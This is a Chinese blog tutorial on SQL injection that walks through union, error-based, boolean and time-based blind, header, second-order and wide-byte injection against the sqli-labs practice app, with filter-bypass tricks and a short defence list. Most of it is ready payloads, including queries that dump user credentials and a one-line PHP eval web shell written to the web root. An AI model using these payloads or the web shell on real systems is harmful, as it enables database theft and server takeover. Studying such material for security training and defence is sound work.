干货|SQL注入思路总结(非常详细)零基础入门到精通,收藏这一篇就够 了

SQL注入基本原理 SQL注入基础原理: 1)SQL注入概念及产生原因: 当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。 2)SQL注入的本质: 把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则 3)SQL注入的两个关键点: 1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行; SQL注入基础危害: )盗取网站的敏感信息; )绕过网 阅读详情

1.SQL注入的业务场景及危害

1.1 什么是SQL注入

SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为称为SQL注入。

1.2 为什么会有SQL注入

  • 代码对带入SQL语句的参数过滤不严格

  • 未启用框架的安全配置,例如:PHP的magic_quotes_gpc

  • 未使用框架安全的查询方法

  • 测试借口未删除

  • 未启用防火墙,例如IPTABLES。

  • 未使用其他的安全防护设备,例如:WAF

1.3 SQL注入的业务场景以及危害

包括登陆功能、搜索功能、详情页、商品购买等

危害包括数据库泄漏:数据库中存放的用户的隐私信息的泄漏;

网页篡改:通过操作数据库对特定网页进行篡改;

网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

数据库被恶意操作:数据库服务器被攻击,数据库管理员账户被篡改。

服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

1.4 Mysql内置函数

mysql 运算符(算术运算符、比较运算符、逻辑运算符)

1.5 SQL注入流程

1.6 SQL注入的分类及注入方法

按照请求方法进行分类:

  • GET型注入

Step1: 猜解列数http://127.0.0.1/sqli/Less-2/?id=1%20order%20by%203%20#

Step2: 猜解数据库名http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%23

Step3:猜解表名:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%23

Step4:猜解列名:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7573657273%23

Step5:读数据:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(concat_ws(0x3a,username,password)),3%20from%20users%23

  • POST型注入

按照SQL数据类型分类:

  • 整型注入

  • 字符型注入

其他的数据类型:

  • 报错注入

查询当前版本:’ union select 1,extractvalue(1,concat(0x7e,(select version())))#

使用“extractvalue”函数查询当前表名:’ union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)))#

使用"updatexml"函数查询当前php版本:’ union select updatexml(1,concat(0x7e,(select version())),1)#

使用“updatexml”函数查询当前表名:’ union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1)),1)#

  • 双注入 Lesson11

查询版本:admin’ union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),version())#

查询数据库名:admin’ union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select table_schema from information_schema.schemata limit 0,1))#

  • 时间盲注 Sleep(1)函数

猜测表名:?id=1 or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=‘security’ limit 0,1)>0,sleep(2),0)#

也可用ord( )

  • 布尔盲注 Lesson-5

猜测版本:id=1’ or (select substr(version(),1,1)=‘5’) #

猜测数据库名:id=1’ or (select ascii(substr(table_schema,1,1)) from information_schema.schemata limit 0,1)>1#

猜测表名:id=1’ or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=‘security’ limit 0,1)>1# 可以用burp的intruder进行爆破

  • Cookie注入

和POST、GET注入一样,只是在Cookie中产生注入。

  • User-Agent注入

和POST、GET注入一样,只是在UA中产生注入。可能是其他SQL语句 例如insert、update等。需要进行灵活判断。

  • 二次编码注入

%2527 编码后变成%27 再解码变成’ 就绕过了过滤。

  • 二次注入

在sqilab中第24关可以通过二次注入,重置admin密码。

  • DNSlog注入

1.7 SQL注入读写文件

load_file(file_name):读取文件并返回该文件的内容作为一个字符串,使用条件:
1.必须有权限读取并且文件必须完全可读
2.欲读取文件必须在服务器上
3.必须制定文件完整的路径
4.欲读取文件必须小雨max_allowed_packet

写文件 union select 1,2,“<?php @eval($\_POST\['pass'\]);?>” into outfile “/var/www/1.php”.

2.0注入绕过

2.1绕过注释符注入#

less-23/index.php?id=1’ or (extractvalue(1,concat(0x7e,version()))) or ’

2.2绕过and/or字符过滤

http://127.0.0.1/sqli/Less-25/index.php?id=-1‘ || (extractvalue(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1)))) ||’

2.3绕过空格过滤

%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
/**/ 代替空格

2.4内联注释绕过

此题过滤了空格,select,#。

内联注释: /*!select*/

http://127.0.0.1/sqli/Less-27/?id=1%27%0aor%0a(extractvalue(1,concat(0x7e,(sElect%0aschema_name%0afrom%0ainformation_schema.schemata%0alimit%0a0,1))))%0aor%0a%27

2.5宽字节注入

主要原因是经常会出现这个过滤“\”,因此可以使用宽字节注入吃掉这个“\”。由于这个字符的hex是5c 所以可以用%865c进行绕过。

http://127.0.0.1/sqli/Less-32/?id=-1%86‘%20union%20select%201,version(),3%23

2.6 其他类型绕过

SQL注入防御手段

代码层

黑名单

白名单

敏感字符过滤

使用框架安全查询

配置层

开启GPC

使用UTF-8

物理层

WAF

数据库审计

云防护

IPS(入侵检测系统)

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

sql注入详解 目录前言? ?一、漏洞原因分析二、漏洞危害三、sql注入防范四、如何挖掘sql注入漏洞五、常见的注入手法联合查询(union注入)报错注入基于布尔的盲注基于时间的盲注HTTP头注入宽字节注入堆叠查询二阶注入六、sql注入getshell的几种方式结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没 阅读详情

相关推荐

【Java代码审计】SQL注入篇

SQL 注入(SQL Injection)是因为程序未能正确对用户的输入进行检查,将用户的输入以拼接的方式带入 SQL 语句中,导致了 SQL 注入的产生。黑客通过 SQL 注入可直接窃取数据库信息,造成信息泄露输入用户可控直接或间接拼入 SQL语句执行因 SQL 注入漏洞特征性较强,在实际的审计过程中我们往往可以通过一些自动化审计工具快速地发现这些可能存在安全问题的代码片,如使用奇安信代码卫士、Fortify 等自动化工具。

大河之犬的博客 3168

SQL注入详解

针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序意料之外结果的攻击行为。 其成因可归结为以下两个原理叠加造成: 1、程序编写者在处理程序和数据库交互时,使用字符串凭借的方式构造SQL语句。 2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。 SQL注入的攻击方式分为:报错注入、布尔盲注 、延时注入、堆叠查询、联合查询 、二次注入等等

qq_48904485的博客 2万+

手把手教你用NE555+LM324搭建红外倒车雷达(附Multisim仿真文件)

本文详细介绍了如何使用NE555定时器和LM324运算放大器搭建一个红外倒车雷达系统。内容涵盖从核心原理拆解、模块电路设计(包括红外发射、接收放大、检波与电压比较)到实战焊接调试的全过程,并提供了Multisim仿真验证思路,帮助电子爱好者与初学者将模拟电路理论转化为可工作的实用项目。

echo99的专栏 680

【SQL注入】小白手把手入门SQL注入1-数据库基础

数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。关系型数据库关系型数据库是基于关系模型的数据库系统,使用表格(表)来组织数据。数据以行和列的形式存储在表中,每个表代表一个实体或关系,每一行表示一个数据记录,每一列表示记录的属性。关系型数据库使用结构化查询语言(SQL)进行数据的查询和操作。关系型数据库中表与表之间是有很多复杂的关联关系的常见的关系型数据库有等。非关系型数据库。

开水的博客 5532

【ESP32开发】——开发环境搭建(VSCode+PlatformIO)

本章内容主要介绍ESP32的开发环境搭建(基于VSCode+PlatformIO)的流程与相应的注意事项,避免开发ESP32止于环境搭建!在项目的维护过程中,可以更好地管理和更新代码、调试问题,并且能够快速适应和采用新的功能、库或硬件平台。:VSCode 的代码提示和自动补全功能,以及 PlatformIO 的管理工具,都能帮助你编写规范、格式良好且易于阅读的代码。:Arduino 框架是一种简单、易用的嵌入式开发框架,适用于快速原型开发和小型项目。需要选择对应自己开发的开发板型号。

m0_61934621的博客 8422

(二)MS-MPI多机通信

1.关于MPI多机通信 一台计算机处理数据的能力是有限的,MPI的主要作用就是用来实现并行计算机,即将多台主机联机,实现大规模、高性能的计算机机群。我们知道一台计算机同时运行多个进程时,由于计算机资源是共享的,多个进程都会占用一些资源,每个进程运行的效率就会降低,比如当一台计算机同时跑着多个大型应用时会变得非常卡顿。所谓多机通信,可以理解为将本应该在同一台主机上运行的多个进程分配到多台主机上,以往...

xinwuya_的博客 4392

干货|SQL注入思路总结(非常详细)零基础入门到精通,收藏这一篇就够了

干货|SQL注入思路总结(非常详细)零基础入门到精通,收藏这一篇就够了

yy1715713348的博客 1159

LM Studio 模型加载与转换实战指南:从GGUF格式到本地部署

本文提供了使用LM Studio加载与转换GGUF格式大语言模型的完整实战指南。详细阐述了为何GGUF格式是本地部署的最佳选择,并逐步指导用户如何将非GGUF模型(如Transformers格式)转换为GGUF格式,以及在LM Studio中进行加载、配置GPU卸载等关键优化,最终实现流畅的本地离线对话体验。

weixin_29061425的博客 924

干货 | SQL 注入思路总结(非常详细):教你绕过过滤规则,从零基础入门到精通,收藏这一篇可实战!

SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为称为SQL注入。

m0_59236602的博客 1016

海康H304NAS 刷机飞牛

本文旨在分享如何将闲置的海康威视H304 NAS刷入飞牛NAS系统,并利用iStoreOS作为安装媒介。之前因为使用极空间NAS,这台H304闲置已久。最近尝试了飞牛NAS,在虚拟机上安装后挂载极空间的电影资源,体验不错,于是决定重新折腾这台H304。我个人喜欢尝试新系统,之前经常更新H304的固件,但设备总在使用一两年后出现故障,需要联系技术清理日志才能恢复。最后一次设备“变砖”后,连技术人员也联系不上了,自己尝试修复未果,设备就此闲置两三年。

u012985257的博客 2755

SAP Group Reporting入门指南(1)--开篇及系统环境搭建

文章介绍了SAP GR的发展历程、与BPC的对比优势,数据收集的多种方式(实时同步、外部导入等)以及合并整体流程,并推出《SAP Group Reporting入门指南》专栏。

bflyfish的博客 285

干货 | SQL 注入思路总结(非常详细):小白也能跟学,从判断漏洞到获取数据,零基础入门到精通,收藏备用!

SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为称为SQL注入。

Button12138的博客 1767

机器人中的数值优化(十四)——罚函数法(Penalty Method)、障碍函数法(Barrier Method)、拉格朗日松弛法(Lagrangian Relaxation)

本系列文章主要是我在学习《数值优化》过程中的一些笔记和相关思考,主要的学习资料是深蓝学院的课程《机器人中的数值优化》和高立编著的《数值最优化方法》等,本系列文章篇数较多,不定期更新,上半部分介绍无约束优化,下半部分介绍带约束的优化,中间会穿插一些路径规划方面的应用实例

慕羽★的博客 5223

干货 | SQL 注入思路总结(非常详细):覆盖联合查询 / 报错注入 / 盲注,从零基础入门到精通,收藏这一篇就够了!

SQL注入是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为称为SQL注入。

2301_79455190的博客 887

PyTorch实战(13)——图卷积网络(Graph Convolutional Network,GCN)

图卷积网络 (Graph Convolutional Network, GCN) 模型能够同时结合节点级特征和图级(邻域)信息进行分类,显著提升了图数据建模能力,适用于节点分类、图分类等多种任务。本节中,我们通过 PyTorch Geometric 库在 CiteSeer 图数据集上构建模型,们首先用前馈神经网络作为基线模型完成节点分类任务,随后用 GCN 模型替代前馈网络显著提升了分类准确率。

盼小辉丶的博客 3318

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

干货分享—从0到1深入浅出学习SQL注入详细过程,黑客技术零基础入门到精通实战教程!

本文来讲讲有关SQL注入相关的知识点会尽可能详细的写出来,比较适合刚入门安全的小白进行学习,希望能在面试或实战中助你一臂之力。如有大佬发现文中内容有错误的地方恳请斧正!也欢迎各位师傅共同交流学习技术!

白帽阿叁的博客 1197

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

上一篇: 北航发布LlamaFactory,零代码大模型微调平台,一键快速实现大模型训练/微调/评估
下一篇: HVV 红队常用攻击方法(非常详细)零基础入门到精通,收藏这一篇就够了
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值